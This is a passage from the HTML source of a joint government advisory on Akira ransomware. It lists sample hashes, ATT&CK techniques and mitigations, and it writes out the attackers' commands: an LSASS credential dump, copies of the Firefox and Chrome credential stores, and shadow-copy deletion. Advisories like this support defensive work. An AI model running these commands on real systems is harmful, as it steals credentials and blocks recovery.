  271. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Hash (SHA-256)&lt;/strong&gt;&lt;/th&gt;
  272. &lt;/tr&gt;
  273. &lt;/thead&gt;
  274. &lt;tbody&gt;
  275. &lt;tr&gt;
  276. &lt;td&gt;0b5b31af5956158bfbd14f6cbf4f1bca23c5d16a40dbf3758f3289146c565f43&lt;/td&gt;
  277. &lt;/tr&gt;
  278. &lt;tr&gt;
  279. &lt;td&gt;0d700ca5f6cc093de4abba9410480ee7a8870d5e8fe86c9ce103eec3872f225f&lt;/td&gt;
  280. &lt;/tr&gt;
  281. &lt;tr&gt;
  282. &lt;td&gt;a2df5477cf924bd41241a3326060cc2f913aff2379858b148ddec455e4da67bc&lt;/td&gt;
  283. &lt;/tr&gt;
  284. &lt;tr&gt;
  285. &lt;td&gt;03aa12ac2884251aa24bf0ccd854047de403591a8537e6aba19e822807e06a45&lt;/td&gt;
  286. &lt;/tr&gt;
  287. &lt;tr&gt;
  288. &lt;td&gt;2e88e55cc8ee364bf90e7a51671366efb3dac3e9468005b044164ba0f1624422&lt;/td&gt;
  289. &lt;/tr&gt;
  290. &lt;tr&gt;
  291. &lt;td&gt;40221e1c2e0c09bc6104548ee847b6ec790413d6ece06ad675fff87e5b8dc1d5&lt;/td&gt;
  292. &lt;/tr&gt;
  293. &lt;tr&gt;
  294. &lt;td&gt;5ea65e2bb9d245913ad69ce90e3bd9647eb16d992301145372565486c77568a2&lt;/td&gt;
  295. &lt;/tr&gt;
  296. &lt;tr&gt;
  297. &lt;td&gt;643061ac0b51f8c77f2ed202dc91afb9879f796ddd974489209d45f84f644562&lt;/td&gt;
  298. &lt;/tr&gt;
  299. &lt;tr&gt;
  300. &lt;td&gt;6f9d50bab16b2532f4683eeb76bd25449d83bdd6c85bf0b05f716a4b49584f84&lt;/td&gt;
  301. &lt;/tr&gt;
  302. &lt;tr&gt;
  303. &lt;td&gt;fef09b0aa37cbdb6a8f60a6bd8b473a7e5bffdc7fd2e952444f781574abccf64&lt;/td&gt;
  304. &lt;/tr&gt;
  305. &lt;/tbody&gt;
  306. &lt;/table&gt;
  307. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  308. &lt;caption&gt;&lt;em&gt;Table 4: Linux/Unix Akira Ransomware Executable and Linkable Format (ELF) Samples&lt;/em&gt;&lt;/caption&gt;
  309. &lt;thead&gt;
  310. &lt;tr&gt;
  311. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Hash (SHA-256)&lt;/strong&gt;&lt;/th&gt;
  312. &lt;/tr&gt;
  313. &lt;/thead&gt;
  314. &lt;tbody&gt;
  315. &lt;tr&gt;
  316. &lt;td&gt;e1321a4b2b104f31aceaf4b19c5559e40ba35b73a754d3ae13d8e90c53146c0f&lt;/td&gt;
  317. &lt;/tr&gt;
  318. &lt;tr&gt;
  319. &lt;td&gt;74f497088b49b745e6377b32ed5d9dfaef3c84c7c0bb50fabf30363ad2e0bfb1&lt;/td&gt;
  320. &lt;/tr&gt;
  321. &lt;tr&gt;
  322. &lt;td&gt;3d2b58ef6df743ce58669d7387ff94740ceb0122c4fc1c4ffd81af00e72e60a4&lt;/td&gt;
  323. &lt;/tr&gt;
  324. &lt;/tbody&gt;
  325. &lt;/table&gt;
  326. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  327. &lt;caption&gt;&lt;em&gt;Table 5a: Commands Affiliated with Akira Ransomware&lt;/em&gt;&lt;/caption&gt;
  328. &lt;thead&gt;
  329. &lt;tr&gt;
  330. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Persistence and Discovery&lt;/strong&gt;&lt;/th&gt;
  331. &lt;/tr&gt;
  332. &lt;/thead&gt;
  333. &lt;tbody&gt;
  334. &lt;tr&gt;
  335. &lt;td&gt;nltest /dclist: [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1018/" title="Remote System Discovery"&gt;T1018&lt;/a&gt;]&lt;/td&gt;
  336. &lt;/tr&gt;
  337. &lt;tr&gt;
  338. &lt;td&gt;nltest /DOMAIN_TRUSTS [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1482/" title="Domain Trust Discovery"&gt;T1482&lt;/a&gt;]&lt;/td&gt;
  339. &lt;/tr&gt;
  340. &lt;tr&gt;
  341. &lt;td&gt;net group “Domain admins” /dom [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/002/" title="Permission Groups Discovery: Domain Groups"&gt;T1069.002&lt;/a&gt;]&lt;/td&gt;
  342. &lt;/tr&gt;
  343. &lt;tr&gt;
  344. &lt;td&gt;net localgroup “Administrators” /dom [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/001/" title="Permission Groups Discovery: Local Groups"&gt;T1069.001&lt;/a&gt;]&lt;/td&gt;
  345. &lt;/tr&gt;
  346. &lt;tr&gt;
  347. &lt;td&gt;tasklist [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;]&lt;/td&gt;
  348. &lt;/tr&gt;
  349. &lt;tr&gt;
  350. &lt;td&gt;rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump ((Get-Process lsass).Id) C:\windows\temp\lsass.dmp full [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;]&lt;/td&gt;
  351. &lt;/tr&gt;
  352. &lt;/tbody&gt;
  353. &lt;/table&gt;
  354. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  355. &lt;caption&gt;&lt;em&gt;Table 5b: Commands Affiliated with Akira Ransomware&lt;/em&gt;&lt;/caption&gt;
  356. &lt;thead&gt;
  357. &lt;tr&gt;
  358. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/th&gt;
  359. &lt;/tr&gt;
  360. &lt;/thead&gt;
  361. &lt;tbody&gt;
  362. &lt;tr&gt;
  363. &lt;td&gt;
  364. &lt;p&gt;cmd.exe /Q /c esentutl.exe /y&lt;/p&gt;
  365. &lt;p&gt;"C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&amp;lt;firefox_profile_id&amp;gt;.default-release\key4.db" /d&lt;/p&gt;
  366. &lt;p&gt;"C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&amp;lt;firefox_profile_id&amp;gt;.default-release\key4.db.tmp”&lt;/p&gt;
  367. &lt;p&gt;&lt;strong&gt;Note:&amp;nbsp;&lt;/strong&gt;Used for accessing Firefox data.&lt;/p&gt;
  368. &lt;/td&gt;
  369. &lt;/tr&gt;
  370. &lt;tr&gt;
  371. &lt;td&gt;
  372. &lt;p&gt;cmd.exe /Q /c esentutl.exe /y&lt;/p&gt;
  373. &lt;p&gt;"C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Google\Chrome\User Data\Default\Login Data" /d&lt;/p&gt;
  374. &lt;p&gt;"C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp”&lt;/p&gt;
  375. &lt;p&gt;&lt;strong&gt;Note:&amp;nbsp;&lt;/strong&gt;Used for accessing Google Chrome data.&lt;/p&gt;
  376. &lt;/td&gt;
  377. &lt;/tr&gt;
  378. &lt;/tbody&gt;
  379. &lt;/table&gt;
  380. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  381. &lt;caption&gt;&lt;em&gt;Table 5c: Commands Affiliated with Akira Ransomware&lt;/em&gt;&lt;/caption&gt;
  382. &lt;thead&gt;
  383. &lt;tr&gt;
  384. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/th&gt;
  385. &lt;/tr&gt;
  386. &lt;/thead&gt;
  387. &lt;tbody&gt;
  388. &lt;tr&gt;
  389. &lt;td&gt;powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject" [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;]&lt;/td&gt;
  390. &lt;/tr&gt;
  391. &lt;/tbody&gt;
  392. &lt;/table&gt;
  393. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  394. &lt;p&gt;See Tables 6 -14 for all referenced Akira threat actor tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK® Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  395. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  396. &lt;caption&gt;&lt;em&gt;Table 6: Initial Access&lt;/em&gt;&lt;/caption&gt;
  397. &lt;thead&gt;
  398. &lt;tr&gt;
  399. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  400. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  401. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  402. &lt;/tr&gt;
  403. &lt;/thead&gt;
  404. &lt;tbody&gt;
  405. &lt;tr&gt;
  406. &lt;td&gt;Valid Accounts&lt;/td&gt;
  407. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/td&gt;
  408. &lt;td&gt;Akira threat actors obtain and abuse credentials of existing accounts as a means of gaining initial access.&lt;/td&gt;
  409. &lt;/tr&gt;
  410. &lt;tr&gt;
  411. &lt;td&gt;Exploit Public Facing Application&lt;/td&gt;
  412. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;&lt;/td&gt;
  413. &lt;td&gt;Akira threat actors exploit vulnerabilities in internet-facing systems to gain access to systems.&lt;/td&gt;
  414. &lt;/tr&gt;
  415. &lt;tr&gt;
  416. &lt;td&gt;External Remote Services&lt;/td&gt;
  417. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/td&gt;
  418. &lt;td&gt;Akira threat actors have used remote access services, such as RDP/VPN connection to gain initial access.&lt;/td&gt;
  419. &lt;/tr&gt;
  420. &lt;tr&gt;
  421. &lt;td&gt;Phishing: Spearphishing Attachment&amp;nbsp;&lt;/td&gt;
  422. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/001/" title="Phishing: Spearphishing Attachment"&gt;T1566.001&lt;/a&gt;&lt;/td&gt;
  423. &lt;td&gt;Akira threat actors use phishing emails with malicious attachments to gain access to networks.&lt;/td&gt;
  424. &lt;/tr&gt;
  425. &lt;tr&gt;
  426. &lt;td&gt;Phishing: Spearphishing Link&amp;nbsp;&lt;/td&gt;
  427. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/002/" title="Phishing: Spearphishing Link"&gt;T1566.002&lt;/a&gt;&lt;/td&gt;
  428. &lt;td&gt;Akira threat actors use phishing emails with malicious links to gain access to networks.&amp;nbsp;&lt;/td&gt;
  429. &lt;/tr&gt;
  430. &lt;/tbody&gt;
  431. &lt;/table&gt;
  432. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  433. &lt;caption&gt;&lt;em&gt;Table 7: Credential Access&lt;/em&gt;&lt;/caption&gt;
  434. &lt;thead&gt;
  435. &lt;tr&gt;
  436. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  437. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  438. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  439. &lt;/tr&gt;
  440. &lt;/thead&gt;
  441. &lt;tbody&gt;
  442. &lt;tr&gt;
  443. &lt;td&gt;OS Credential Dumping&lt;/td&gt;
  444. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;&lt;/td&gt;
  445. &lt;td&gt;Akira threat actors use tools like Mimikatz and LaZagne to dump credentials.&lt;/td&gt;
  446. &lt;/tr&gt;
  447. &lt;tr&gt;
  448. &lt;td&gt;
  449. &lt;p&gt;OS Credential Dumping:&lt;/p&gt;
  450. &lt;p&gt;LSASS Memory&lt;/p&gt;
  451. &lt;/td&gt;
  452. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;&lt;/td&gt;
  453. &lt;td&gt;Akira threat actors attempt to access credential material stored in the process memory of the LSASS.&lt;/td&gt;
  454. &lt;/tr&gt;
  455. &lt;/tbody&gt;
  456. &lt;/table&gt;
  457. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  458. &lt;caption&gt;&lt;em&gt;Table 8: Discovery&lt;/em&gt;&lt;/caption&gt;
  459. &lt;thead&gt;
  460. &lt;tr&gt;
  461. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  462. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  463. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  464. &lt;/tr&gt;
  465. &lt;/thead&gt;
  466. &lt;tbody&gt;
  467. &lt;tr&gt;
  468. &lt;td&gt;System Network Configuration Discovery&amp;nbsp;&lt;/td&gt;
  469. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/" title="System Network Configuration Discovery"&gt;T1016&lt;/a&gt;&lt;/td&gt;
  470. &lt;td&gt;Akira threat actors use tools to scan systems and identify services running on remote hosts and local network infrastructure.&lt;/td&gt;
  471. &lt;/tr&gt;
  472. &lt;tr&gt;
  473. &lt;td&gt;System Information Discovery&lt;/td&gt;
  474. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;&lt;/td&gt;
  475. &lt;td&gt;Akira threat actors use tools like PCHunter64 to&amp;nbsp;acquire detailed process and system information.&lt;/td&gt;
  476. &lt;/tr&gt;
  477. &lt;tr&gt;
  478. &lt;td&gt;Domain Trust Discovery&lt;/td&gt;
  479. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1482" title="Domain Trust Discovery"&gt;T1482&lt;/a&gt;&lt;/td&gt;
  480. &lt;td&gt;Akira threat actors use the net Windows command to enumerate domain information.&lt;/td&gt;
  481. &lt;/tr&gt;
  482. &lt;tr&gt;
  483. &lt;td&gt;Process Discovery&lt;/td&gt;
  484. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;&lt;/td&gt;
  485. &lt;td&gt;Akira threat actors use the&amp;nbsp;&lt;code&gt;Tasklist&lt;/code&gt; utility to obtain details on running processes via PowerShell.&lt;/td&gt;
  486. &lt;/tr&gt;
  487. &lt;tr&gt;
  488. &lt;td&gt;Permission Groups Discovery: Local Groups&lt;/td&gt;
  489. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/001/" title="Permission Groups Discovery: Local Groups"&gt;T1069.001&lt;/a&gt;&lt;/td&gt;
  490. &lt;td&gt;Akira threat actors use the&amp;nbsp;&lt;code&gt;net localgroup /dom&lt;/code&gt; to find local system groups and permission settings.&lt;/td&gt;
  491. &lt;/tr&gt;
  492. &lt;tr&gt;
  493. &lt;td&gt;Permission Groups Discovery: Domain Groups&amp;nbsp;&lt;/td&gt;
  494. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/002/" title="Permission Groups Discovery: Domain Groups"&gt;T1069.002&lt;/a&gt;&lt;/td&gt;
  495. &lt;td&gt;Akira threat actors use the&amp;nbsp;&lt;code&gt;net group /domain&lt;/code&gt;&amp;nbsp;command to attempt to find domain level groups and permission settings.&lt;/td&gt;
  496. &lt;/tr&gt;
  497. &lt;tr&gt;
  498. &lt;td&gt;Remote System Discovery&lt;/td&gt;
  499. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1018/" title="Remote System Discovery"&gt;T1018&lt;/a&gt;&lt;/td&gt;
  500. &lt;td&gt;Akira threat actors use&amp;nbsp;&lt;code&gt;nltest / dclist&lt;/code&gt; to amass a listing of other systems by IP address, hostname, or other logical identifiers on a network.&lt;/td&gt;
  501. &lt;/tr&gt;
  502. &lt;/tbody&gt;
  503. &lt;/table&gt;
  504. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  505. &lt;caption&gt;&lt;em&gt;Table 9: Persistence&lt;/em&gt;&lt;/caption&gt;
  506. &lt;thead&gt;
  507. &lt;tr&gt;
  508. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  509. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  510. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  511. &lt;/tr&gt;
  512. &lt;/thead&gt;
  513. &lt;tbody&gt;
  514. &lt;tr&gt;
  515. &lt;td&gt;Create Account: Domain Account&lt;/td&gt;
  516. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1136/002/" title="Create Account: Domain Account"&gt;T1136.002&lt;/a&gt;&lt;/td&gt;
  517. &lt;td&gt;Akira threat actors attempt to abuse the functions of domain controllers by creating new domain accounts to establish persistence.&lt;/td&gt;
  518. &lt;/tr&gt;
  519. &lt;/tbody&gt;
  520. &lt;/table&gt;
  521. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  522. &lt;caption&gt;&lt;em&gt;Table 10: Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  523. &lt;thead&gt;
  524. &lt;tr&gt;
  525. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  526. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  527. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  528. &lt;/tr&gt;
  529. &lt;/thead&gt;
  530. &lt;tbody&gt;
  531. &lt;tr&gt;
  532. &lt;td&gt;Impair Defenses: Disable or Modify Tools&lt;/td&gt;
  533. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/001" title="Impair Defenses: Disable or Modify Tools"&gt;T1562.001&lt;/a&gt;&lt;/td&gt;
  534. &lt;td&gt;Akira threat actors use BYOVD attacks to disable antivirus software.&lt;/td&gt;
  535. &lt;/tr&gt;
  536. &lt;/tbody&gt;
  537. &lt;/table&gt;
  538. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  539. &lt;caption&gt;&lt;em&gt;Table 11: Command and Control&lt;/em&gt;&lt;/caption&gt;
  540. &lt;thead&gt;
  541. &lt;tr&gt;
  542. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  543. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  544. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  545. &lt;/tr&gt;
  546. &lt;/thead&gt;
  547. &lt;tbody&gt;
  548. &lt;tr&gt;
  549. &lt;td&gt;Remote Access Software&lt;/td&gt;
  550. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1219" title="Remote Access Software"&gt;T1219&lt;/a&gt;&lt;/td&gt;
  551. &lt;td&gt;Akira threat actors use legitimate desktop support software like AnyDesk to obtain remote access to victim systems.&lt;/td&gt;
  552. &lt;/tr&gt;
  553. &lt;tr&gt;
  554. &lt;td&gt;Proxy&lt;/td&gt;
  555. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/" title="Proxy"&gt;T1090&lt;/a&gt;&lt;/td&gt;
  556. &lt;td&gt;Akira threat actors utilized Ngrok to create a secure tunnel to servers that aided in exfiltration of data.&amp;nbsp;&lt;/td&gt;
  557. &lt;/tr&gt;
  558. &lt;/tbody&gt;
  559. &lt;/table&gt;
  560. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  561. &lt;caption&gt;&lt;em&gt;Table 12: Collection&lt;/em&gt;&lt;/caption&gt;
  562. &lt;thead&gt;
  563. &lt;tr&gt;
  564. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  565. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  566. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  567. &lt;/tr&gt;
  568. &lt;/thead&gt;
  569. &lt;tbody&gt;
  570. &lt;tr&gt;
  571. &lt;td&gt;Archive Collected Data: Archive via Utility&lt;/td&gt;
  572. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;&lt;/td&gt;
  573. &lt;td&gt;Akira threat actors use tools like WinRAR to compress files.&lt;/td&gt;
  574. &lt;/tr&gt;
  575. &lt;/tbody&gt;
  576. &lt;/table&gt;
  577. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  578. &lt;caption&gt;&lt;em&gt;Table 13: Exfiltration&lt;/em&gt;&lt;/caption&gt;
  579. &lt;thead&gt;
  580. &lt;tr&gt;
  581. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  582. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  583. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  584. &lt;/tr&gt;
  585. &lt;/thead&gt;
  586. &lt;tbody&gt;
  587. &lt;tr&gt;
  588. &lt;td&gt;Exfiltration Over Alternative Protocol&lt;/td&gt;
  589. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;&lt;/td&gt;
  590. &lt;td&gt;Akira threat actors use file transfer tools like WinSCP to transfer data.&lt;/td&gt;
  591. &lt;/tr&gt;
  592. &lt;tr&gt;
  593. &lt;td&gt;Transfer Data to Cloud Account&lt;/td&gt;
  594. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1537" title="Transfer Data to Cloud Account"&gt;T1537&lt;/a&gt;&lt;/td&gt;
  595. &lt;td&gt;Akira threat actors use tools like CloudZilla to exfiltrate data to a cloud account and connect to exfil servers they control.&lt;/td&gt;
  596. &lt;/tr&gt;
  597. &lt;tr&gt;
  598. &lt;td&gt;Exfiltration Over Web Service: Exfiltration to Cloud Storage&lt;/td&gt;
  599. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1567/002/" title="Exfiltration Over Web Service: Exfiltration to Cloud Storage"&gt;T1567.002&lt;/a&gt;&lt;/td&gt;
  600. &lt;td&gt;Akira threat actors leveraged RClone to sync files with cloud storage services to exfiltrate data.&amp;nbsp;&lt;/td&gt;
  601. &lt;/tr&gt;
  602. &lt;/tbody&gt;
  603. &lt;/table&gt;
  604. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  605. &lt;caption&gt;&lt;em&gt;Table 14: Impact&lt;/em&gt;&lt;/caption&gt;
  606. &lt;thead&gt;
  607. &lt;tr&gt;
  608. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  609. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  610. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  611. &lt;/tr&gt;
  612. &lt;/thead&gt;
  613. &lt;tbody&gt;
  614. &lt;tr&gt;
  615. &lt;td&gt;Date Encrypted for Impact&lt;/td&gt;
  616. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;&lt;/td&gt;
  617. &lt;td&gt;Akira threat actors encrypt data on target systems to interrupt availability to system and network resources.&lt;/td&gt;
  618. &lt;/tr&gt;
  619. &lt;tr&gt;
  620. &lt;td&gt;Inhibit System Recovery&lt;/td&gt;
  621. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;&lt;/td&gt;
  622. &lt;td&gt;Akira threat actors delete volume shadow copies on Windows systems.&lt;/td&gt;
  623. &lt;/tr&gt;
  624. &lt;tr&gt;
  625. &lt;td&gt;Financial Theft&lt;/td&gt;
  626. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/" title="Financial Theft"&gt;T1657&lt;/a&gt;&lt;/td&gt;
  627. &lt;td&gt;Akira threat actors use a double-extortion model for financial gain.&lt;/td&gt;
  628. &lt;/tr&gt;
  629. &lt;/tbody&gt;
  630. &lt;/table&gt;
  631. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  632. &lt;h4&gt;&lt;strong&gt;Network Defenders&lt;/strong&gt;&lt;/h4&gt;
  633. &lt;p&gt;The FBI, CISA, EC3, and NCSC-NL recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the risk of compromise by Akira ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  634. &lt;ul&gt;
  635. &lt;li&gt;&lt;strong&gt;Implement a recovery plan&lt;/strong&gt; to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#NetworkSegmentation2F" title="Network Segmentation (2.F)"&gt;CPG 2.F&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SystemBackups2R" title="System Backups (2.R)"&gt;2.R&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#IncidentResponseIRPlans2S" title="Incident Response (IR) Plans (2.S)"&gt;2.S&lt;/a&gt;].&lt;/li&gt;
  636. &lt;li&gt;&lt;strong&gt;Require all accounts&lt;/strong&gt; with password logins (e.g., service accounts, admin accounts, and domain admin accounts)&amp;nbsp;&lt;strong&gt;to comply&lt;/strong&gt; with NIST’s&amp;nbsp;&lt;a href="https://pages.nist.gov/800-63-3/" target="_blank" title="https://pages.nist.gov/800-63-3/"&gt;standards&lt;/a&gt;. In particular, require employees to use long passwords and consider not requiring recurring password changes, as these can weaken security&amp;nbsp;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#UniqueCredentials2C" title="Unique Credentials (2.C)"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
  637. &lt;li&gt;&lt;strong&gt;Require multifactor authentication&lt;/strong&gt; for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#PhishingResistantMultifactorAuthenticationMFA2H" title="Phishing-Resistant Multifactor Authentication (MFA) (2.H)"&gt;CPG 2.H&lt;/a&gt;].&lt;/li&gt;
